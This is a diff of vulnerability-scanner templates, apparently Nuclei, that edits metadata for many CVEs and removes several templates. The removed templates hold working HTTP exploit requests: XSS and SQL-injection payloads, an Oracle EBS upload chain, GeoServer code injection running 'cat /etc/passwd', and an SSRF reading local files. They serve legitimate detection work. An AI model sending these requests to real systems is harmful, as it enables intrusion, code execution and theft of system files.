-  name: Studio-42 elFinder <2.1.60 - Arbitrary File Upload
+  name: Studio-42 elFinder < 2.1.60 - Arbitrary File Upload
  author: akincibor
  severity: critical
  description: |
-    Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
+    A File Upload vulnerability exists in Studio-42 elFinder 2.0.4 to 2.1.59 via connector.minimal.php, which allows a remote malicious user to upload arbitrary files and execute PHP code.
  reference:
    - https://github.com/Studio-42/elFinder/issues/3429
-    - https://twitter.com/infosec_90/status/1455180286354919425
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43421
+    - https://twitter.com/infosec_90/status/1455180286354919425
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -50,5 +50,3 @@ requests:
        regex:
          - '"hash"\:"(.*?)"\,'
        internal: true
-
-# Enhanced by mp on 2023/01/15
@@ -1,11 +1,11 @@
 id: CVE-2021-43734

 info:
-  name: kkFileview v4.0.0 - Local File Inclusion
+  name: kkFileview v4.0.0 - Directory Traversal
  author: arafatansari
  severity: high
  description: |
-    kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.
+    kkFileview v4.0.0 has arbitrary file read through a directory traversal vulnerability which may lead to sensitive file leak on related host.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/304
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43734
@@ -37,5 +37,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -18,7 +18,7 @@ info:
  metadata:
    verified: true
    shodan-query: http.html:"Reprise License Manager"
-    google-query: inurl:"/goforms/menu"
+    google-dork: inurl:"/goforms/menu"
  tags: cve2021,rlm,auth-bypass,packetstorm,cve

 requests:
@@ -1,12 +1,11 @@
 id: CVE-2021-44451

 info:
-  name: Apache Superset <=1.3.2 - Default Login
+  name: Apache Superset - Default Login
  author: dhiyaneshDK
  severity: medium
  description: |
-    Apache Superset through 1.3.2 contains a default login vulnerability via registered database connections for authenticated users. An attacker can obtain access to user accounts and thereby obtain sensitive information, modify data, and/or execute unauthorized operations.
-  remediation: Upgrade to Apache Superset 1.4.0 or higher.
+    Apache Superset up to and including 1.3.2 allowed for registered database connections password leak for authenticated users. This information could be accessed in a non-trivial way.
  reference:
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/apache-superset-default-credentials.json
    - https://lists.apache.org/thread/xww1pccs2ckb5506wrf1v4lmxg198vkb
@@ -67,5 +66,3 @@ requests:
        regex:
          - 'name="csrf_token" type="hidden" value="(.*)"'
        internal: true
-
-# Enhanced by md on 2023/01/06
@@ -1,45 +0,0 @@
-id: CVE-2022-0234
-
-info:
-  name: WOOCS < 1.3.7.5 - Reflected Cross-Site Scripting
-  author: Akincibor
-  severity: medium
-  description: |
-    The plugin does not sanitise and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting
-  reference:
-    - https://wpscan.com/vulnerability/fd568a1f-bd51-41bb-960d-f8573b84527b
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0234
-    - https://plugins.trac.wordpress.org/changeset/2659191
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2022-0234
-    cwe-id: CWE-79
-  metadata:
-    google-query: inurl:"wp-content/plugins/woocommerce-currency-switcher"
-    verified: "true"
-  tags: wpscan,cve,cve2022,wordpress,wp-plugin,wp,xss,woocs
-
-requests:
-  - raw:
-      - |
-        GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - '<img src onerror=alert(document.domain)>'
-          - '"current_currency":'
-        condition: and
-
-      - type: word
-        part: header
-        words:
-          - text/html
-
-      - type: status
-        status:
-          - 200
@@ -1,41 +0,0 @@
-id: CVE-2022-0784
-
-info:
-  name: WordPress Title Experiments Free <9.0.1 - SQL Injection
-  author: theamanrawat
-  severity: critical
-  description: |
-    WordPress Title Experiments Free plugin before 9.0.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
-  reference:
-    - https://wpscan.com/vulnerability/6672b59f-14bc-4a22-9e0b-fcab4e01d97f
-    - https://wordpress.org/plugins/wp-experiments-free/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-0784
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2022-0784
-    cwe-id: CWE-89
-  metadata:
-    verified: "true"
-  tags: cve,wpscan,wp-plugin,wp,sqli,wp-experiments-free,unauth,cve2022,wordpress
-
-requests:
-  - raw:
-      - |
-        @timeout: 10s
-        POST /wp-admin/admin-ajax.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'duration>=6'
-          - 'status_code == 200'
-          - 'contains(content_type, "text/html")'
-          - 'contains(body, "{\"images\":")'
-        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,11 +1,11 @@
 id: CVE-2022-0786

 info:
-  name: WordPress KiviCare <2.3.9 - SQL Injection
+  name: KiviCare < 2.3.9 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
-    WordPress KiviCare plugin before 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+    The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route, leading to SQL Injections exploitable by unauthenticated users.
  reference:
    - https://wpscan.com/vulnerability/53f493e9-273b-4349-8a59-f2207e8f8f30
    - https://wordpress.org/plugins/kivicare-clinic-management-system/
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-89
  metadata:
    verified: "true"
-  tags: sqli,kivicare-clinic-management-system,unauth,wordpress,wp-plugin,wp,cve,cve2022,wpscan
+  tags: wordpress,wp-plugin,wp,sqli,kivicare-clinic-management-system,unauth,cve,cve2022,wpscan

 requests:
  - raw:
@@ -34,5 +34,3 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Doctor details")'
        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,11 +1,11 @@
 id: CVE-2022-0826

 info:
-  name: WordPress WP Video Gallery <=1.7.1 - SQL Injection
+  name: WP Video Gallery <= 1.7.1 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
-    WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+    The WP Video Gallery WordPress plugin through 1.7.1 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users.
  reference:
    - https://wpscan.com/vulnerability/7a3eed3b-c643-4e24-b833-eba60ab631c5
    - https://wordpress.org/plugins/wp-video-gallery-free/
@@ -37,5 +37,3 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Registred videos :")'
        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,16 +1,16 @@
 id: CVE-2022-0948

 info:
-  name: WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
+  name: Order Listener for WooCommerce < 3.2.2 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
-    WordPress Order Listener for WooCommerce plugin before 3.2.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+    The Order Listener for WooCommerce WordPress plugin before 3.2.2 does not sanitise and escape the id parameter before using it in a SQL statement via a REST route available to unauthenticated users, leading to an SQL injection.
  reference:
    - https://wpscan.com/vulnerability/daad48df-6a25-493f-9d1d-17b897462576
    - https://wordpress.org/plugins/woc-order-alert/
-    - https://plugins.trac.wordpress.org/changeset/2707223
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0948
+    - https://plugins.trac.wordpress.org/changeset/2707223
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -43,5 +43,3 @@ requests:
          - 'contains(content_type_1, "application/json")'
          - 'contains(body_2, "olistener-action.olistener-controller")'
        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,44 +0,0 @@
-id: CVE-2022-1168
-
-info:
-  name: JobSearch < 1.5.1 - Cross-Site Scripting
-  author: Akincibor
-  severity: medium
-  description: |
-    There is a Cross-Site Scripting vulnerability in the JobSearch WP JobSearch WordPress plugin before 1.5.1.
-  reference:
-    - https://wpscan.com/vulnerability/bcf38e87-011e-4540-8bfb-c93443a4a490
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-1168
-    - https://codecanyon.net/item/jobsearch-wp-job-board-wordpress-plugin/21066856
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2022-1168
-    cwe-id: CWE-79
-  metadata:
-    google-query: inurl:"wp-content/plugins/wp-jobsearch"
-    verified: "true"
-  tags: wp-jobsearch",wpscan,cve,cve2022,wp-plugin,wp,wordpress,xss
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent'
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "<img src=x onerror=alert(domain)>"
-          - "wp-jobsearch"
-        condition: and
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 404
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2022-1442
    cwe-id: CWE-862
  metadata:
-    google-query: inurl:/wp-content/plugins/metform
+    google-dork: inurl:/wp-content/plugins/metform
    verified: "true"
  tags: wpscan,cve2022,wordpress,wp-plugin,disclosure,unauth,metform,cve,wp

@@ -1,11 +1,11 @@
 id: CVE-2022-1595

 info:
-  name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
+  name: HC Custom WP-Admin URL - 1.4 - Unauthenticated Secret URL Disclosure
  author: theamanrawat
  severity: medium
  description: |
-    WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
+    The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request.
  reference:
    - https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
    - https://wordpress.org/plugins/hc-custom-wp-admin-url/
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-200
  metadata:
    verified: "true"
-  tags: unauth,wpscan,cve,cve2022,wordpress,wp-plugin,wp,hc-custom-wp-admin-url
+  tags: wp-plugin,wp,hc-custom-wp-admin-url,unauth,wpscan,cve,cve2022,wordpress

 requests:
  - raw:
@@ -38,5 +38,3 @@ requests:
      - type: status
        status:
          - 302
-
-# Enhanced by md on 2023/01/06
@@ -1,76 +0,0 @@
-id: CVE-2022-21587
-
-info:
-  name: Oracle EBS Unauthenticated - Remote Code Execution
-  author: rootxharsh,iamnoooob
-  severity: critical
-  description: |
-    Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: Upload). Supported versions that are affected are 12.2.3-12.2.11. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Web Applications Desktop Integrator.
-  reference:
-    - https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/
-    - https://www.oracle.com/security-alerts/cpuoct2022.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-21587
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2022-21587
-  tags: cve,cve2022,rce,oast,intrusive,oracle,ebs,unauth
-
-requests:
-  - raw:
-      - |
-        POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv
-
-        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
-        Content-Disposition: form-data; name="bne:uueupload"
-
-        TRUE
-        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
-        Content-Disposition: form-data; name="uploadfilename";filename="testzuue.zip"
-
-        begin 664 test.zip
-        M4$L#!!0``````"]P-%;HR5LG>@```'H```!#````+BXO+BXO+BXO+BXO+BXO
-        M1DU77TAO;64O3W)A8VQE7T5"4RUA<'`Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.
-        M1%=24BYP;'5S92!#1TD["G!R:6YT($-'23HZ:&5A9&5R*"`M='EP92`]/B`G
-        M=&5X="]P;&%I;B<@*3L*;7D@)&-M9"`](")E8VAO($YU8VQE:2U#5D4M,C`R
-        M,BTR,34X-R(["G!R:6YT('-Y<W1E;2@D8VUD*3L*97AI="`P.PH*4$L!`A0#
-        M%```````+W`T5NC)6R=Z````>@```$,``````````````+2!`````"XN+RXN
-        M+RXN+RXN+RXN+T9-5U](;VUE+T]R86-L95]%0E,M87!P,2]C;VUM;VXO<V-R
-        G:7!T<R]T>&M&3D174E(N<&Q02P4&``````$``0!Q````VP``````
-        `
-        end
-        ------WebKitFormBoundaryZsMro0UsAQYLDZGv--
-
-      - |
-        GET /OA_CGI/FNDWRR.exe HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv
-
-        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
-        Content-Disposition: form-data; name="bne:uueupload"
-
-        TRUE
-        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
-        Content-Disposition: form-data; name="uploadfilename";filename="testzuue.zip"
-
-        begin 664 test.zip
-        M4$L#!!0``````&UP-%:3!M<R`0````$```!#````+BXO+BXO+BXO+BXO+BXO
-        M1DU77TAO;64O3W)A8VQE7T5"4RUA<'`Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.
-        M1%=24BYP;`I02P$"%`,4``````!M<#16DP;7,@$````!````0P``````````
-        M````M($`````+BXO+BXO+BXO+BXO+BXO1DU77TAO;64O3W)A8VQE7T5"4RUA
-        M<'`Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.1%=24BYP;%!+!08``````0`!`'$`
-        (``!B````````
-        `
-        end
-
-    matchers:
-      - type: word
-        part: body_2
-        words:
-          - Nuclei-CVE-2022-21587
@@ -16,7 +16,7 @@ info:
    cve-id: CVE-2022-2314
  metadata:
    verified: "true"
-  tags: rce,unauth,wpscan,cve,cve2022,wp,vr-calendar-sync,wordpress,wp-plugin
+  tags: cve,cve2022,wordpress,wp,wp-plugin,rce,vr-calendar-sync,unauth,wpscan

 requests:
  - raw:
@@ -1,14 +1,13 @@
 id: CVE-2022-23854

 info:
-  name: AVEVA InTouch Access Anywhere Secure Gateway - Local File Inclusion
+  name: AVEVA InTouch Access Anywhere Secure Gateway - Path Traversal
  author: For3stCo1d
  severity: high
  description: |
-    AVEVA InTouch Access Anywhere Secure Gateway is vulnerable to local file inclusion.
+    AVEVA Group plc is a marine and plant engineering IT company headquartered in Cambridge, England. AVEVA software is used in many sectors, including on- and off-shore oil and gas processing, chemicals, pharmaceuticals, nuclear and conventional power generation, nuclear fuel reprocessing, recycling and shipbuilding (https://www.aveva.com).
  reference:
    - https://packetstormsecurity.com/files/cve/CVE-2022-23854
-    - https://www.aveva.com
    - https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23854
    - https://www.cisa.gov/uscert/ics/advisories/icsa-22-342-02
@@ -43,5 +42,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,73 +0,0 @@
-id: CVE-2022-24816
-
-info:
-  name: Geoserver Server - Code Injection
-  author: mukundbhuva
-  severity: critical
-  description: |
-    Programs using jt-jiffle, and allowing Jiffle script to be provided via network request, are susceptible to a Remote Code Execution as the Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects the downstream GeoServer project Version < 1.1.22.
-  reference:
-    - https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-24816
-    - https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx
-    - https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2022-24816
-    cwe-id: CWE-94
-  metadata:
-    fofa-query: app="GeoServer"
-    shodan-query: /geoserver/
-    verified: "true"
-  tags: cve,cve2022,geoserver,rce
-
-requests:
-  - raw:
-      - |
-        POST /geoserver/wms HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/xml
-
-        <?xml version="1.0" encoding="UTF-8"?>
-          <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
-            <ows:Identifier>ras:Jiffle</ows:Identifier>
-            <wps:DataInputs>
-              <wps:Input>
-                <ows:Identifier>coverage</ows:Identifier>
-                <wps:Data>
-                  <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
-                </wps:Data>
-              </wps:Input>
-              <wps:Input>
-                <ows:Identifier>script</ows:Identifier>
-                <wps:Data>
-                  <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
-                </wps:Data>
-              </wps:Input>
-              <wps:Input>
-                <ows:Identifier>outputType</ows:Identifier>
-                <wps:Data>
-                  <wps:LiteralData>DOUBLE</wps:LiteralData>
-                </wps:Data>
-              </wps:Input>
-            </wps:DataInputs>
-            <wps:ResponseForm>
-              <wps:RawDataOutput mimeType="image/tiff">
-                <ows:Identifier>result</ows:Identifier>
-              </wps:RawDataOutput>
-            </wps:ResponseForm>
-          </wps:Execute>
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "root:.*:0:0:"
-          - "ExceptionInInitializerError"
-        condition: and
-
-      - type: status
-        status:
-          - 200
@@ -3,15 +3,19 @@ id: CVE-2022-24990
 info:
  name: TerraMaster TOS < 4.2.30 Server Information Disclosure
  author: dwisiswant0
-  severity: medium
+  severity: high
  description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
  reference:
    - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
+    - https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732
+    - https://forum.terra-master.com/en/viewforum.php?f=28
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
    cve-id: CVE-2022-24990
  metadata:
    shodan-query: TerraMaster
-  tags: cve,cve2022,terramaster,exposure
+  tags: cve,cve2022,terramaster,exposure,kev

 requests:
  - method: GET
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2022-25356
    cwe-id: CWE-91
  metadata:
-    google-query: inurl:"/SecurityGateway.dll"
+    google-dork: inurl:"/SecurityGateway.dll"
    verified: "true"
  tags: cve,cve2022,altn,gateway,xml,injection

@@ -12,9 +12,12 @@ info:
    - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2546
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 4.7
    cve-id: CVE-2022-2546
+    cwe-id: CWE-79
  metadata:
-    verified: true
+    verified: "true"
  tags: cve,all-in-one-wp-migration,authenticated,wpscan,cve2022,wordpress,wp-plugin,wp,xss

 requests:
@@ -1,16 +1,16 @@
 id: CVE-2022-26138

 info:
-  name: Atlassian Questions For Confluence - Hardcoded Credentials
+  name: Questions For Confluence - Hardcoded Credentials
  author: HTTPVoid
  severity: critical
  description: |
-    Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.
+    A remote, unauthenticated attacker with knowledge of the hardcoded password could exploit this to log into Confluence and access all content accessible to users in the confluence-users group.
  reference:
    - https://twitter.com/fluepke/status/1549892089181257729
    - https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html
-    - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26138
+    - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -39,6 +39,4 @@ requests:
    matchers:
      - type: dsl
        dsl:
-          - 'location == "/httpvoid.action"'
-
-# Enhanced by md on 2023/01/06
+          - 'location == "/httpvoid.action"'
@@ -16,7 +16,7 @@ info:
    cwe-id: CWE-80
  metadata:
    verified: true
-    google-query: inurl:/u8sl/WebHelp
+    google-dork: inurl:/u8sl/WebHelp
  tags: cve,cve2022,yonyou,xss

 headless:
@@ -1,15 +1,16 @@
 id: CVE-2022-27593

 info:
-  name: QNAP QTS Photo Station External Reference - Local File Inclusion
+  name: QNAP QTS Photo Station External Reference
  author: allenwest24
  severity: critical
  description: |
-    QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.
+    An externally controlled reference to a resource vulnerability has been reported to affect QNAP NAS running Photo Station. If exploited, This could allow an attacker to modify system files. We have already fixed the vulnerability in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later
  reference:
    - https://attackerkb.com/topics/7We3SjEYVo/cve-2022-27593
    - https://www.qnap.com/en/security-advisory/qsa-22-24
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27593
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27593
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
@@ -37,6 +38,4 @@ requests:

      - type: status
        status:
-          - 200
-
-# Enhanced by mp on 2023/01/15
+          - 200
@@ -1,79 +0,0 @@
-id: CVE-2022-28117
-
-info:
-  name: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF)
-  author: theabhinavgaur
-  severity: medium
-  description: |
-    A Server-Side Request Forgery (SSRF) in feed_parser class of Navigate CMS v2.9.4 allows remote attackers to force the application to make arbitrary requests via injection of arbitrary URLs into the feed parameter.
-  reference:
-    - https://packetstormsecurity.com/files/167063/Navigate-CMS-2.9.4-Server-Side-Request-Forgery.html
-    - https://www.navigatecms.com/en/blog/development/navigate_cms_update_2_9_5
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-28117
-    - https://www.youtube.com/watch?v=4kHW95CMfD0
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
-    cvss-score: 4.9
-    cve-id: CVE-2022-28117
-    cwe-id: CWE-918
-  metadata:
-    verified: "true"
-  tags: authenticated,packetstorm,cve,cve2022,ssrf,navigate,cms,lfi
-
-
-requests:
-  - raw:
-      - |
-        GET /navigate/login.php HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        POST /navigate/login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: multipart/form-data; boundary=---------------------------123456789012345678901234567890
-
-        -----------------------------123456789012345678901234567890
-        Content-Disposition: form-data; name="login-username"
-
-        {{username}}
-        -----------------------------123456789012345678901234567890
-        Content-Disposition: form-data; name="csrf_token"
-
-        {{csrf_token}}
-        -----------------------------123456789012345678901234567890
-        Content-Disposition: form-data; name="login-password"
-
-        {{password}}
-        -----------------------------123456789012345678901234567890
-
-      - |
-        POST /navigate/navigate.php?fid=dashboard&act=json&oper=feed HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-
-        limit=5&language=en&url=file:///etc/passwd
-
-      - |
-        GET /navigate/private/1/cache/0f1726ba83325848d47e216b29d5ab99.feed HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "root:.*:0:0:"
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: csrf_token
-        part: body
-        group: 1
-        regex:
-          - 'csrf_token" value="([a-f0-9]{64})'
-        internal: true
@@ -1,15 +1,15 @@
 id: CVE-2022-2863

 info:
-  name: WordPress WPvivid Backup <0.9.76 - Local File Inclusion
+  name: WordPress WPvivid Backup < 0.9.76 - Local File Inclusion
  author: tehtbl
  severity: medium
-  description: WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.
+  description: The plugin does not sanitise and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server via a Traversal attack.
  reference:
    - https://seclists.org/fulldisclosure/2022/Oct/0
    - https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2863
    - http://packetstormsecurity.com/files/168616/WordPress-WPvivid-Backup-Path-Traversal.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-2863
  remediation: Upgrade to version 0.9.76 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
@@ -56,5 +56,3 @@ requests:
        regex:
          - '"_ajax_nonce":"([0-9a-z]+)"'
        internal: true
-
-# Enhanced by mp on 2023/01/15
@@ -1,50 +0,0 @@
-id: CVE-2022-29153
-
-info:
-  name: HashiCorp Consul/Enterprise - Server Side Request Forgery
-  author: c-sh0
-  severity: high
-  description: |
-    HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11.4 may allow server side request forgery when the Consul client agent follows redirects returned by HTTP health check endpoints. Consul follows HTTP redirects by default. HTTP + Interval health check configuration now provides a disable_redirects option to prohibit this behavior.
-  reference:
-    - https://discuss.hashicorp.com/t/hcsec-2022-10-consul-s-http-health-check-may-allow-server-side-request-forgery/38393
-    - https://github.com/hashicorp/consul/pull/12685
-    - https://developer.hashicorp.com/consul/docs/discovery/checks
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-29153
